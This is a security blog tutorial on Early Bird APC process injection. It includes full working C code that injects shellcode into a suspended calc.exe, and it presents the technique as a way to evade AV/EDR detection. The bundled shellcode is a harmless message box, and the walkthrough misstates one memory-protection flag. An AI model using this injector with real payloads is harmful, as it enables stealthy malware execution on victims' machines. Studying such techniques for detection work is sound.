In this blog, we are going to see how Early bird injection works and write our code to execute the payload. To understand this blog, I recommend you to read my previous blog posts — Understanding Process Injection, Classic Process Injection, and the APC Queue Injection, which gives us an overview and an idea of process injection.
What and How it works:
Early bird injection is a technique that involves creating a new process and injecting code into it before the main thread starts executing. One of the key benefits of this method over normal APC Queue code injection is that the malicious behavior occurs early in the process initialization phase, increasing the possibility that some AV/EDR hooks will not detect. We need to select the process carefully before using it in our injection.
APC Injection injects our process into the existing remote process, but in EarlyBird, we create the process (in a suspended state).
Checkout the APC Queue Code Injection blog.
Steps involved in writing code:
- Declare the STARTUPINFOA and PROCESS_INFORMATION structures to configure and receive information about the newly created process.
- First, we need to decide in which exe can inject the shellcode. Create a new process in a suspended state with CreateProcessA API.
- Next, we need to allocate new memory regions with read and write permission at the target process. Still, the payload is not executable, because the thread does not have the executable permission.
- Now we have an allocated memory with RW(read and write), we need to write payload/shellcode into the allocated memory.
- Then we need to change the base protection from RW (read and write) to RX (read and execute.)
- Now APC is queued to the main thread and resumes the thread.
Win32 API call used:
Create a new process — CreateProcessA
Allocate new memory at target process — VirtualAllocEx
Write payload into newly allocated memory — WriteProcessMemory
Changing the memory protection — VirtualProtectEx
Queue the payload — QueueUserAPC
Resume the Execution — ResumeThread
#include<stdio.h>
#include<Windows.h>
int main() {
//shellcode for Hello World PopUp Message
unsigned char buf[]= "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
SIZE_T payload_size = sizeof(buf);
//give configuration and information about the newly create process
STARTUPINFOA startprocess = { 0 };
PROCESS_INFORMATION processinfo = { 0 };
PVOID remotebuffer = 0;
DWORD oldprotection = NULL;
//Create a new process
char newproc[] = "C:\\Windows\\System32\\calc.exe";
if (!CreateProcessA(newproc, NULL, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &startprocess, &processinfo)) {
wprintf(L"Failed to Create a New Process !\n", GetLastError());
return 1;
}
HANDLE hprocess = processinfo.hProcess;
HANDLE hthread = processinfo.hThread;
//Allocate memory on the newly created process
remotebuffer = VirtualAllocEx(hprocess, NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remotebuffer == NULL) {
wprintf(L"Failed to allocate the memory!\n", GetLastError());
CloseHandle(hprocess);
CloseHandle(hthread);
return 1;
}
PTHREAD_START_ROUTINE apcroutine = (PTHREAD_START_ROUTINE)remotebuffer;
printf("Allocated the memory : %p\n", remotebuffer);
//Write Payload/shellcode into the remote buffer
if (!WriteProcessMemory(hprocess, remotebuffer, buf, payload_size, NULL)) {
wprintf(L"Failed to Write Payload into the memory\n", GetLastError());
CloseHandle(hprocess);
CloseHandle(hthread);
return 1;
}
//Changing Memory protection from RW -> RX
if (!VirtualProtectEx(hprocess, remotebuffer, payload_size, PAGE_EXECUTE_READ, &oldprotection)) {
wprintf(L"Failed to Change the memory protection!\n", GetLastError());
CloseHandle(hprocess);
CloseHandle(hthread);
return 1;
}
//Queue the payload
QueueUserAPC((PAPCFUNC)apcroutine, hthread, NULL);
ResumeThread(hthread);
return 0;
}
Code Walkthrough:
- First, define the shellcode you want to inject, here we have a shellcode that pops up a message box containing a hello world message.
- Declare the variables and structures. These variables will be used to hold handles to the target process, the remote thread, and the allocated memory in the target process.
- We create a new process in a suspended state, which does not start executing immediately.
- Then the memory is allocated within the target process using VirtualAllocEx. The memory is allocated with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The shellcode is going to be written into this allocated memory.
- Using WriteProcessMemory, we write the shellcode into the allocated memory space within the target process.
- Then we change the memory protection of the allocated memory from read/write to read/execute using VirtualProtectEx.
- Using QueueUserAPC, we queue the shellcode as an asynchronous procedure call (APC) in the target process’s primary thread.
- ResumeThread is called to resume the execution of the main thread in the newly created process, this allows the shellcode to execute.
We’ll see more process injection techniques in the upcoming blog series.
Thanks for Reading !!!
Stay connected! Happy Hacking